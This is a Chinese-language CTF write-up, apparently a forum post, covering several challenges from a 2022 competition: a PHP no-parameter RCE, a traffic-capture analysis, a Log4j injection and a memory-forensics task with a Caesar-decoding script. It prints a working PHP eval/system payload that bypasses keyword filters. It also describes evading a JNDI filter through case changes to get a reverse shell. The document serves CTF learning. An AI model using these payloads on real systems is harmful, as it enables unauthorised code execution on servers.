-
-
[原创]长安“战疫”网络安全卫士守护赛 部分wp
-
发表于:
2022-1-8 20:47
10856
-
八卦迷宫
折磨!!!!
cazy{zhanchangyangchangzhanyanghechangshanshananzhanyiyizhanyianyichanganyang}
RCE_No_Para
PHP无参数RCE
参考自:b62K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1L8r3!0Y4i4K6u0W2j5%4y4V1L8W2)9J5k6h3&6W2N6q4)9J5c8Y4q4I4i4K6g2X3x3K6R3I4y4e0b7^5x3U0m8Q4x3V1k6S2M7Y4c8A6j5$3I4W2i4K6u0r3k6r3g2@1j5h3W2D9M7#2)9J5c8U0p5H3y4U0x3J5z5e0V1%4y4R3`.`.
1 | if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code']))
|
代码会将$_GET['code']中满足正则/[^\W]+((?R)?)/的部分,替换为空,然后查看是否剩下的部分强等于,如果满足,则执行
第二层bypass
1 | if(!preg_match('/session|end|next|header|dir/i',$_GET['code']))
|
对几个关键词进行了过滤
发现end被过滤了
所以用array_rand()函数代替end()
payload为:
1 | /?code=eval(array_rand(current(get_defined_vars())));&system("ls");
|

发现了php
直接cat 即可

西安加油
一到流量题
看了一下没发现什么
导出全部的http对象
发现了两个文件

把两个txt文本的内容都放到CyberChef解码


看起来secret.txt是压缩包,推断压缩包中的内容就是图片
还原压缩包文件

按照提示的内容拼图

flag: cazy{make_XiAN_great_Again}
Shiro?
一开始以为是shiro
就利用shiro attack

但是发现并能干什么,只能执行几个命令(这个莫名的jar也是很可疑)
此时我随便输入用户名密码 发现都是ok

此时高度怀疑log4jRCE
然后尝试了一下反弹shell,发现有过滤,但是不知道什么过滤

经过测试发现是jndi被过滤了,而且可以大小写绕过
直接Log4j干他!

朴实无华的取证
确实朴实无华
文件名给了系统信息直接vol取证
先看一下内存里有什么文件 (贴一下经过我筛选的文件)
1 2 3 | 0x0000000001b301c0 1 0 RW-r-- \Device\HarddiskVolume1\Documents and Settings\Administrator\桌面\我的日记.txt.txt
0x0000000001b34f90 1 1 R--r-- \Device\HarddiskVolume1\Documents and Settings\Administrator\桌面\flag.zip
0x0000000001e65028 1 0 R--rw- \Device\HarddiskVolume1\Documents and Settings\Administrator\桌面\flag.png
|
分别打开看一下
flag.png
一串意义不明的字符串以及出题人美画!

flag.zip

加密过的一个压缩包
我的日记.txt

这里给了部分的加密脚本
图片中的字符串
1 | FDCB[8LDQ?ZLOO?FHUWDLQOB?VXFFHHG?LQ?ILJKWLQJ?WKH?HSLGHPLF]
|

凯撒了一下,发现有蹊跷在里面
此时我们可以判断这个加密是加密脚本+凯撒
剩下的就是测试找规律
贴一下exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | str = "FDCB[8LDQ?ZLOO?FHUWDLQOB?VXFFHHG?LQ?ILJKWLQJ?WKH?HSLGHPLF]"
str = [a for a in str]
for a in range(0,len(str)):
str[a] = chr(ord(str[a])+32)
for a in range(0,len(str)):
if str[a] >= "d" and str[a]<="z":
str[a] = chr(ord(str[a])-3)
elif str[a]=='a':
str[a]='x'
elif str[a]=='b':
str[a]='y'
elif str[a]=='c':
str[a]='z'
elif str[a]=='|':
str[a]="_"
str = "".join(str)
print(str)
|

[培训]科锐软件逆向54期预科班、正式班开始火爆招生报名啦!!!